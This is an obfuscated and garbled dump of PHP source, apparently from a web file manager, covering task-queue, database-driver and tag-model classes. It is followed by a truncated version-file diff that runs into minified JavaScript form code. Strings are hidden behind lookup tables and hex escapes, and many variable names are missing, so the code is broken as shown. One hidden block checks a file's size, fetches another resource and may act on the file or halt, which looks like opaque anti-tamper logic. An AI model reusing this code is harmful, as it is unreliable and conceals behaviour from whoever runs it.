!$this->taskID) { return; } $this->isEnd = !0; $this->task->end($҃); $this->task = !1; $this->taskID = !1; Hook::unbind($[1793], array($this, $[1859])); Hook::unbind($[1795], array($this, $[1860])); Hook::unbind($[1789], array($this, $[1861])); } public function taskUpdate($) { $ =& $_SERVER[ׇ]; if (!$ || $this->taskID != $[$[475]]) { return; } $Қ = 20; $ = intval($[$[1774]] * $Қ); $Ȯ = $[176] . str_repeat($[962], $) . $[1092] . str_repeat($[53], $Қ - $) . $[178]; $ʜ = $Ȯ . sprintf($[1863], $[$[1774]] * 100) . $[1864]; $Ҽ = $ʜ . $[$[1773]] . $[8] . $[$[1141]] . LNG($[1865]); $ͬؽ = $[12]; if ($[$[1849]]) { $Ҽ = $ʜ . size_format($[$[1773]]) . $[8] . size_format($[$[1141]]); $ͬؽ = size_format($[$[1775]]) . $[1866]; } if ($[$[1143]]) { $[$[1823]] = $[$[1143]] . $[53] . $[$[1823]]; } if ($[$[1823]]) { $̛ = $[12]; if ($[$[1825]]) { $̛ = $[50] . size_format($[$[1826]]) . $[8] . size_format($[$[1825]]); } $ͬؽ .= $[$[1823]] . $̛; } if ($[$[836]] && !$[$[1825]]) { $ͬؽ .= $[53] . size_format($[$[1830]]) . $[8] . size_format($[$[836]]); } echoLog($Ҽ . $[53] . $ͬؽ, !0); } public function taskEnd($) { $ĔɌ =& $_SERVER[ׇ]; if (!$ || $this->taskID != $[$ĔɌ[475]]) { return; } $֩ = $ ? $[$ĔɌ[1773]] . $ĔɌ[8] . $[$ĔɌ[1141]] . LNG($ĔɌ[1865]) . $ĔɌ[74] : $ĔɌ[12]; echoLog($ĔɌ[1867] . $[$ĔɌ[1661]] . ($[$ĔɌ[526]] ? $ĔɌ[74] . $[$ĔɌ[526]] : $ĔɌ[12]) . $ĔɌ[74] . $֩ . $ĔɌ[1868] . sprintf($ĔɌ[923], timeFloat() - $[$ĔɌ[1776]]) . $ĔɌ[1788]); $this->end(); } public function taskKill($) { $տ =& $_SERVER[ׇ]; if (!$ || $this->taskID != $[$տ[475]]) { return; } echoLog($տ[1869] . $[$տ[1661]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\141\x73\x6b\x51\165\145\x75\x65\114\145\156\147\164\x68"; const QUEUE_DATA = "\x74\x61\163\153\x51\x75\x65\x75\145\x44\141\164\141"; const QUEUE_TIME = "\x74\141\163\153\121\x75\x65\x75\145\114\x61\x73\x74\122\165\156"; const QUEUE_THREAD = "\x74\141\163\153\121\x75\x65\165\x65\124\150\x72\x65\x61\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($񻰦, $֬ = array(), $ꌷ = '', $ = '') { $텙 =& $_SERVER[ׇ]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $텙[97], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $텙[97], $)) { return !0; } self::$listDataAdd[] = array($텙[341] => $񻰦, $텙[1870] => $֬, $텙[526] => $ꌷ, $텙[97] => $); return !0; } public static function addSubmit() { $ŋ =& $_SERVER[ׇ]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($ŋ[1871] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $ŋ[12], $ŋ[526])), $ŋ[197]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($ީȏ, $ = array(), $ = '', $̕ = '') { $µ =& $_SERVER[ׇ]; if (self::count() >= self::MAX_LENGTH) { return !1; } $󱙌 = self::getAll(); if ($̕ && array_find_by_field($󱙌, $µ[97], $̕)) { return !0; } $󱙌[] = array($µ[341] => $ީȏ, $µ[1870] => $, $µ[526] => $, $µ[97] => $̕); self::setAll($󱙌); write_log($µ[1871] . $, $µ[197]); return !0; } public static function run() { $ =& $_SERVER[ׇ]; $Ȁ = self::getAll(); $ҫ = array_shift($Ȁ); if (!$ҫ) { return !1; } self::setAll($Ȁ); $Ԧ뢅 = timeFloat(); $˳ = $[12]; try { $˳ = Hook::apply($ҫ[$[341]], $ҫ[$[1870]]); } catch (Exception $ؓ) { write_log($ؓ, $[1264]); } $ځ = number_format(timeFloat() - $Ԧ뢅, 3) . $[1788]; if ($˳ && is_string($˳)) { $ځ = $ځ . $[1872] . $˳; } write_log($[1873] . $ҫ[$[526]] . $[1874] . $ځ, $[197]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ڨ =& $_SERVER[ׇ]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($ڨ[1875] . $, $ڨ[197]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($ڨ[1876], $ڨ[197]); } public static function getKey($, $ = "\x69\x6e\x74") { $ =& $_SERVER[ׇ]; Cache::removeMemory($); $Ҋ = Cache::get($); if ($ == $[364]) { return $Ҋ ? intval($Ҋ) : 0; } if ($ == $[1877]) { return is_array($Ҋ) ? $Ҋ : array(); } return $Ҋ; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[ׇ][1877]); } public static function setAll($) { $ȇ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $ȇ); Cache::set(self::QUEUE_DATA, $, $ȇ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ߓ = 5.0) { if (!$) { return; } $޸ = Cache::get($); if (!$޸ || timeFloat() - floatVal($޸) >= $ߓ) { Cache::set($, timeFloat(), $ߓ * 10); return !0; } return !1; } public static function timeLimitCall($, $ؗ, $, $ض = 5.0) { $ =& $_SERVER[ׇ]; if (!$ || !$ؗ) { return; } self::$asyncAdd = !0; $ = $[1878]; $Ɯ = Cache::get($, !0); $ݥ = array($[1879] => timeFloat(), $[1880] => timeFloat(), $[341] => $ؗ, $[1870] => $, $[206] => $ض); if (is_array($Ɯ[$])) { $ݥ[$[1880]] = $Ɯ[$][$[1880]]; } if (is_array($Ɯ[$])) { if (timeFloat() - $Ɯ[$][$[1879]] < $ݥ[$[206]] * 0.3) { return; } $ݥ[$[1880]] = $Ɯ[$][$[1880]]; } $Ɯ[$] = $ݥ; Cache::set($, $Ɯ, 60); Cache::removeMemory($); write_log($[1881] . $ . $[74] . $ؗ, $[197]); } public static function timeLimitCallLoop() { $ =& $_SERVER[ׇ]; $섫 = array($[1882]); $꾺 = in_array(strtolower(ACTION), $섫); if (!$꾺 && !self::$asyncAdd) { return; } $ = $[1878]; $䚻 = Cache::get($, !0); if (!$䚻 || count($䚻) <= 0) { return; } $ = !1; $ = timeFloat(); $ߜ = array(); foreach ($䚻 as $ʟ => $) { if ($ - $[$[1880]] > $[$[206]]) { $ = !0; try { Hook::apply($[$[341]], $[$[1870]]); write_log($[1883] . $ʟ . $[74] . $[$[341]] . $[1884] . ACTION, $[197]); } catch (Exception $) { } continue; } $ߜ[$ʟ] = $; } if (!$) { return; } if (!$ߜ) { return Cache::remove($); } Cache::set($, $ߜ, 60); Cache::removeMemory($); } public static function finished($Ъ, $ůᙫ) { $Ĩ =& $_SERVER[ׇ]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($Ĩ[341] => $Ъ, $Ĩ[1870] => $ůᙫ); } private static function finishedRun() { $Ҩ =& $_SERVER[ׇ]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $Ưʬ) { try { Hook::apply($Ưʬ[$Ҩ[341]], $Ưʬ[$Ҩ[1870]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } goto E; Eٔź: $_file = $_SERVER[$_SERVER[ׇ][1418]]; $_size = $_SERVER[ׇ][951]; if ($_SERVER[$_SERVER[ׇ][952]] != $_size($_file)) { $_getc = $_SERVER[ׇ][954]; $_getfile = $_SERVER[$_SERVER[ׇ][949]] . $_SERVER[ׇ][950]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ׇ][262], $_getfilec); if (count($_getarrs) < $_SERVER[ׇ][690]) { $exit = $_SERVER[ׇ][955]; $exit(); } $_act = $_SERVER[ׇ][1419]; $_act($_file); } goto EҖǔ; Eԟ: class DbMysqli extends Db { public function __construct($ܙ = '') { $ =& $_SERVER[ׇ]; if (!extension_loaded($[990])) { think_exception(think_lang($[14]) . $[991]); } if (!empty($ܙ)) { $this->config = $ܙ; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($̗Ԃ = '', $׀ = 0) { $ =& $_SERVER[ׇ]; if (!isset($this->linkID[$׀])) { if (empty($̗Ԃ)) { $̗Ԃ = $this->config; } $this->linkID[$׀] = new mysqli($̗Ԃ[$[964]], $̗Ԃ[$[966]], $̗Ԃ[$[967]], $̗Ԃ[$[21]], $̗Ԃ[$[965]] ? intval($̗Ԃ[$[965]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$׀]->server_version; $this->linkID[$׀]->query($[968] . think_config($[969]) . $[58]); if ($ > $[970]) { $this->linkID[$׀]->query($[971]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$׀]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($ى) { $󸎑 =& $_SERVER[ׇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ى; if ($this->queryID) { $this->free(); } think_action_status($󸎑[23], 1); think_status($󸎑[24]); $this->queryID = $this->_linkID->query($ى); if ($this->_linkID->more_results()) { while (($޺ = $this->_linkID->next_result()) != NULL) { $޺->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[ׇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ܲ = $this->_linkID->query($); $this->debug(); if (!1 === $ܲ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ϙ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ϙ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ؽ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ؽ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($옘) { $֝ъ =& $_SERVER[ׇ]; $Ƕ = $this->query($֝ъ[975] . $this->parseKey($옘)); $ߒ = array(); if ($Ƕ) { foreach ($Ƕ as $ => $զ㈵) { $ߒ[$զ㈵[$֝ъ[31]]] = array($֝ъ[32] => $զ㈵[$֝ъ[31]], $֝ъ[33] => $զ㈵[$֝ъ[34]], $֝ъ[35] => (bool) ($զ㈵[$֝ъ[36]] === $֝ъ[12]), $֝ъ[37] => $զ㈵[$֝ъ[38]], $֝ъ[39] => strtolower($զ㈵[$֝ъ[40]]) == $֝ъ[41], $֝ъ[42] => strtolower($զ㈵[$֝ъ[43]]) == $֝ъ[44]); } } return $ߒ; } public function getTables($ЀЏ = '') { $ =& $_SERVER[ׇ]; $ = !empty($ЀЏ) ? $[977] . $ЀЏ . $[978] : $[979]; $ = $this->query($); $ʎ = array(); if ($) { foreach ($ as $ǖ => $) { $ʎ[$ǖ] = current($); } } return $ʎ; } public function replace($”, $֦Ͼ = array()) { $ש =& $_SERVER[ׇ]; foreach ($” as $ => $ܖӠ) { $ = $this->parseValue($ܖӠ); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ޟ = $ש[980] . $this->parseTable($֦Ͼ[$ש[356]]) . $ש[981] . implode($ש[50], $) . $ש[982] . implode($ש[50], $) . $ש[983]; return $this->execute($ޟ); } public function insertAll($ݰ, $ = array(), $Ƙ = false) { $ =& $_SERVER[ׇ]; if (!is_array($ݰ[0])) { return !1; } $â = array_keys($ݰ[0]); $쮧 = array(); foreach ($ݰ as $׆) { $ = array(); foreach ($׆ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $쮧[] = $[337] . implode($[50], $) . $[983]; } array_walk($â, array($this, $[984])); $ݾ = $Ƙ ? $[985] : $[986]; $ = $ݾ . $[987] . $this->parseTable($[$[356]]) . $[981] . implode($[50], $â) . $[988] . implode($[50], $쮧); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ׇ]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ڈ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ڈ); } else { return addslashes($ڈ); } } public function parseKey(&$, $𕎃 = true) { $ =& $_SERVER[ׇ]; if ($𕎃) { $ = $this->parseKeyCheck($); } if ($ != $[220] && !preg_match($[989], $)) { $ = $[461] . trim($, $[461]) . $[461]; } return $; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[ׇ]; if (!class_exists($[992])) { think_exception(think_lang($[14]) . $[993]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($Ȍ = '', $ = 0) { $ =& $_SERVER[ׇ]; if (!isset($this->linkID[$])) { if (empty($Ȍ)) { $Ȍ = $this->config; } $Ϟ = !empty($Ȍ[$[17]][$[18]]) ? $Ȍ[$[17]][$[18]] : $this->pconnect; if ($Ϟ) { $Ȍ[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($Ȍ[$[994]], $Ȍ[$[966]], $Ȍ[$[967]], $Ȍ[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($Ȍ[$[994]]); if (in_array($this->dbType, array($[995], $[996], $[997], $[998]))) { think_exception($[999] . $this->dbType . $[1000] . $this->dbType . $[1001]); } if (!$this->linkID[$]) { think_exception($[1002]); } try { $this->linkID[$]->exec($[1003] . think_config($[969])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $Ŷ = array()) { $ݯ =& $_SERVER[ׇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($Ŷ)) { $this->queryStr .= $ݯ[1004] . print_r($Ŷ, !0) . $ݯ[1005]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ݯ[23], 1); think_status($ݯ[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($Ŷ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($㘧, $ = array()) { $ =& $_SERVER[ׇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $㘧; if (!empty($)) { $this->queryStr .= $[1004] . print_r($, !0) . $[1005]; } $ǡѽ = !1; if ($this->dbType == $[998]) { if (preg_match($[1006], $this->queryStr, $֋)) { $this->table = think_config($[1007]) . str_ireplace(think_config($[1008]), $[454], $֋[2]); $ǡѽ = (bool) $this->query($[1009] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($㘧); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ꌥ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $ꌥ) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ǡѽ || preg_match($[1010], $㘧)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ێր = $this->_linkID->commit(); $this->transTimes = 0; if (!$ێր) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ۜ̊ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ۜ̊) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($) { $޾ =& $_SERVER[ׇ]; $this->initConnect(!0); if (think_config($޾[1011])) { $ӗ = str_replace($޾[1012], $, think_config($޾[1011])); } else { switch ($this->dbType) { case $޾[995]: case $޾[1013]: $ӗ = "\123\x45\x4c\105\x43\x54\40\40\40\143\157\x6c\165\155\156\137\x6e\141\155\x65\x20\141\x73\x20\x27\116\141\155\145\x27\54\40\x20\40\144\x61\x74\x61\x5f\164\x79\160\x65\40\141\x73\40\x27\124\x79\160\145\x27\54\x20\40\40\x63\157\154\165\x6d\x6e\137\144\x65\146\141\x75\x6c\164\40\x61\x73\x20\x27\x44\145\146\141\165\154\164\47\54\40\40\40\151\163\x5f\156\165\x6c\x6c\x61\x62\x6c\145\40\x61\163\x20\47\116\165\154\x6c\47\12\x9\11\106\122\117\x4d\11\x69\x6e\x66\157\x72\x6d\x61\x74\151\x6f\156\137\x73\x63\x68\145\x6d\x61\x2e\164\x61\142\154\145\163\x20\101\123\x20\164\12\x9\x9\112\117\x49\116\x9\x69\x6e\146\157\162\x6d\141\x74\151\157\x6e\137\x73\x63\x68\x65\155\141\56\x63\157\x6c\165\155\x6e\163\x20\x41\123\x20\x63\12\11\11\117\116\40\x20\164\x2e\x74\x61\142\154\145\x5f\143\141\164\x61\x6c\x6f\x67\40\x3d\40\143\x2e\164\x61\142\154\145\x5f\143\x61\x74\x61\154\157\147\xa\x9\11\101\x4e\x44\40\x74\x2e\x74\141\x62\154\x65\x5f\163\x63\x68\x65\155\x61\40\x3d\40\143\x2e\x74\141\x62\x6c\x65\x5f\x73\143\x68\x65\155\x61\xa\11\11\101\116\104\x20\x74\x2e\164\141\x62\x6c\145\x5f\156\141\x6d\x65\x20\75\x20\143\x2e\x74\x61\x62\154\145\137\x6e\x61\x6d\145\12\x9\11\127\x48\x45\x52\105\x20\40\x20\x74\56\x74\x61\142\x6c\145\x5f\156\x61\155\x65\40\75\x20\x27{$}\x27"; break; case $޾[1014]: $ӗ = $޾[1015] . $ . $޾[1016]; break; case $޾[996]: case $޾[998]: $ӗ = $޾[1017] . $޾[1018] . $޾[1019] . strtoupper($) . $޾[1020] . strtoupper($) . $޾[1021]; break; case $޾[1022]: $ӗ = $޾[1023] . $ . $޾[1024]; break; case $޾[997]: break; case $޾[1025]: default: $ӗ = $޾[1026] . ($this->dbType == $޾[1025] ? "\x60{$}\140" : $); } } $͂ = $this->query($ӗ); $饭 = array(); if ($͂) { foreach ($͂ as $ƒ => $ۥߧ) { $ۥߧ = array_change_key_case($ۥߧ); $ۥߧ[$޾[32]] = isset($ۥߧ[$޾[32]]) ? $ۥߧ[$޾[32]] : $޾[454]; $ۥߧ[$޾[33]] = isset($ۥߧ[$޾[33]]) ? $ۥߧ[$޾[33]] : $޾[454]; $ϫ = isset($ۥߧ[$޾[350]]) ? $ۥߧ[$޾[350]] : $ۥߧ[$޾[32]]; $饭[$ϫ] = array($޾[32] => $ϫ, $޾[33] => $ۥߧ[$޾[33]], $޾[35] => (bool) (isset($ۥߧ[$޾[106]]) && $ۥߧ[$޾[106]] === $޾[12] || isset($ۥߧ[$޾[35]]) && $ۥߧ[$޾[35]] === $޾[12]), $޾[37] => isset($ۥߧ[$޾[37]]) ? $ۥߧ[$޾[37]] : (isset($ۥߧ[$޾[56]]) ? $ۥߧ[$޾[56]] : $޾[454]), $޾[39] => isset($ۥߧ[$޾[97]]) ? strtolower($ۥߧ[$޾[97]]) == $޾[41] : (isset($ۥߧ[$޾[57]]) ? $ۥߧ[$޾[57]] : !1), $޾[42] => isset($ۥߧ[$޾[1027]]) ? strtolower($ۥߧ[$޾[1027]]) == $޾[44] : (isset($ۥߧ[$޾[97]]) ? $ۥߧ[$޾[97]] : !1)); } } return $饭; } public function getTables($ٷԤ = '') { $Ϡɗ =& $_SERVER[ׇ]; if (think_config($Ϡɗ[1028])) { $С = str_replace($Ϡɗ[1029], $ٷԤ, think_config($Ϡɗ[1028])); } else { switch ($this->dbType) { case $Ϡɗ[996]: case $Ϡɗ[998]: $С = $Ϡɗ[1030]; break; case $Ϡɗ[995]: case $Ϡɗ[1013]: $С = $Ϡɗ[1031]; break; case $Ϡɗ[1022]: $С = $Ϡɗ[1032]; break; case $Ϡɗ[997]: think_exception(think_lang($Ϡɗ[1033]) . $Ϡɗ[1034]); break; case $Ϡɗ[1014]: $С = $Ϡɗ[45] . $Ϡɗ[46] . $Ϡɗ[47]; break; case $Ϡɗ[1025]: default: if (!empty($ٷԤ)) { $С = $Ϡɗ[977] . $ٷԤ . $Ϡɗ[978]; } else { $С = $Ϡɗ[979]; } } } $ = $this->query($С); $ߖ̯ = array(); foreach ($ as $ր => $) { $ߖ̯[$ր] = current($); } return $ߖ̯; } protected function parseLimit($Ꞃ) { $ =& $_SERVER[ׇ]; $파 = $[12]; if (!empty($Ꞃ)) { switch ($this->dbType) { case $[1022]: case $[1014]: $Ꞃ = explode($[50], $Ꞃ); if (count($Ꞃ) > 1) { $파 .= $[51] . $Ꞃ[1] . $[52] . $Ꞃ[0] . $[53]; } else { $파 .= $[51] . $Ꞃ[0] . $[53]; } break; case $[995]: case $[1013]: break; case $[997]: break; case $[996]: case $[998]: break; case $[1025]: default: $파 .= $[51] . $Ꞃ . $[53]; } } return $파; } public function parseKey(&$Ȼ, $鐷 = true) { $絿 =& $_SERVER[ׇ]; if ($鐷) { $Ȼ = $this->parseKeyCheck($Ȼ); } if ($this->dbType == $絿[1025]) { if ($Ȼ != $絿[220] && !preg_match($絿[989], $Ȼ)) { $Ȼ = $絿[461] . trim($Ȼ, $絿[461]) . $絿[461]; } return $Ȼ; } else { return parent::parseKey($Ȼ, $鐷); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[ׇ]; if ($this->PDOStatement) { $’ = $this->PDOStatement->errorInfo(); $this->error = $’[1] . $[4] . $’[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $־ =& $_SERVER[ׇ]; switch ($this->dbType) { case $־[1022]: case $־[995]: case $־[1013]: case $־[1025]: return addslashes($); case $־[997]: case $־[1014]: case $־[996]: case $־[998]: return str_ireplace($־[58], $־[59], $); } } protected function parseValue($ϯ) { $ੜ =& $_SERVER[ׇ]; if (is_string($ϯ)) { $ = strpos($ϯ, $ੜ[4]) === 0 && in_array($ϯ, array_keys($this->bind)); $ϯ = $ ? $this->escapeString($ϯ) : $ੜ[1035] . $this->escapeString($ϯ) . $ੜ[1035]; } elseif (isset($ϯ[0]) && is_string($ϯ[0]) && strtolower($ϯ[0]) == $ੜ[373]) { $ϯ = $this->escapeString($ϯ[1]); } elseif (is_array($ϯ)) { $ϯ = array_map(array($this, $ੜ[1036]), $ϯ); } elseif (is_bool($ϯ)) { $ϯ = $ϯ ? $ੜ[91] : $ੜ[228]; } elseif (is_null($ϯ)) { $ϯ = $ੜ[106]; } return $ϯ; } public function getLastInsertId() { $ =& $_SERVER[ׇ]; switch ($this->dbType) { case $[1022]: case $[1014]: case $[995]: case $[1013]: case $[997]: case $[1025]: return $this->_linkID->lastInsertId(); case $[996]: case $[998]: $ = $this->table; $ʸ = $this->query("\x53\x45\x4c\x45\x43\124\x20{$}\x2e\x63\165\x72\162\x76\x61\154\x20\143\x75\x72\x72\166\141\x6c\x20\106\x52\x4f\x4d\x20\144\165\x61\154"); return $ʸ ? $ʸ[0][$[1037]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $ı =& $_SERVER[ׇ]; if (!CacheLock::fileLock($ı[13])) { return !1; } $𦜬 = parent::query($); CacheLock::fileUnLock($ı[13]); return $𦜬; } public function execute($袝) { $ =& $_SERVER[ׇ]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($袝); CacheLock::fileUnLock($[13]); return $; } } goto d򎌳; A: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\145\x72\x5f\146\x61\166"; protected function cacheFunctionAlias($׃ٜ) { $ =& $_SERVER[ׇ]; return array($[2086] => array($[2500] . USER_ID, $[2087])); } protected function listData() { $Ω =& $_SERVER[ׇ]; $ݹ = array($Ω[1763] => USER_ID, $Ω[557] => array($Ω[2090], 0)); $ׅ = $Ω[2501]; $ڸ = $this->field($ׅ)->where($ݹ)->order($Ω[2093])->select(); return $ڸ ? $ڸ : array(); } protected function addToTag($, $ʴ) { $ =& $_SERVER[ׇ]; if (!Model($[2237])->listData($ʴ)) { return !1; } if (is_numeric($)) { $ = Model($[897])->pathInfo($); if (!$) { return !1; } } else { $ = IO::infoSimple($); if (!$) { return !1; } $׮ = $[$[32]]; $ = $[$[33]]; if (isset($[$[485]])) { $ = $[$[485]] == $[91] ? $[78] : $[230]; } } $Ъ = array($[1763] => USER_ID, $[557] => $ʴ, $[495] => $, $[496] => $ ? $ : $[490], $[494] => $׮ ? $׮ : $[12], $[1975] => 0); if ($this->where($Ъ)->find()) { return !1; } return $this->add($Ъ); } protected function removeFromTag($ڵ, $ҽ͞) { $ =& $_SERVER[ׇ]; if (!Model($[2237])->listData($ҽ͞)) { return !1; } if (is_array($ڵ)) { $ڵ = array($[7], $ڵ); } $索 = array($[1763] => USER_ID, $[557] => $ҽ͞, $[495] => $ڵ); return $this->where($索)->delete(); } protected function removeByTag($ת҆) { $ =& $_SERVER[ׇ]; if (!$ת҆) { return !1; } $ = array($[1763] => USER_ID, $[557] => $ת҆); return $this->where($)->delete(); } protected function removeBySource($Ԑ) { $ =& $_SERVER[ׇ]; if (is_array($Ԑ)) { $Ԑ = array($[7], $Ԑ); } $Հ = array($[1763] => USER_ID, $[557] => array($[1092], 0), $[495] => $Ԑ); return $this->where($Հ)->delete(); } } \ No newline at end of file diff --git a/config/version.php b/config/version.php index 9a3f9915..67834660 100755 --- a/config/version.php +++ b/config/version.php @@ -1,3 +1,3 @@ "),this.wrapID="form-maker-"+roundString(4),this.formData=$.extend(!0,{},e.formData),this.getValueWith={},this.setValueWith={},this.checkFrom=new s["default"]({"parent":this})},"loadExtence":function(){var e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this._delay(function(){this.trigger("initFinished",this)},0))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(i){var n=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=n.formData[t],_.isUndefined(t)||!e||_.isString(e)||(e=i?"":e.value,n.setValue(t,e)))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&!_.get(n,"formStyle.disableAutoBlock")&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var 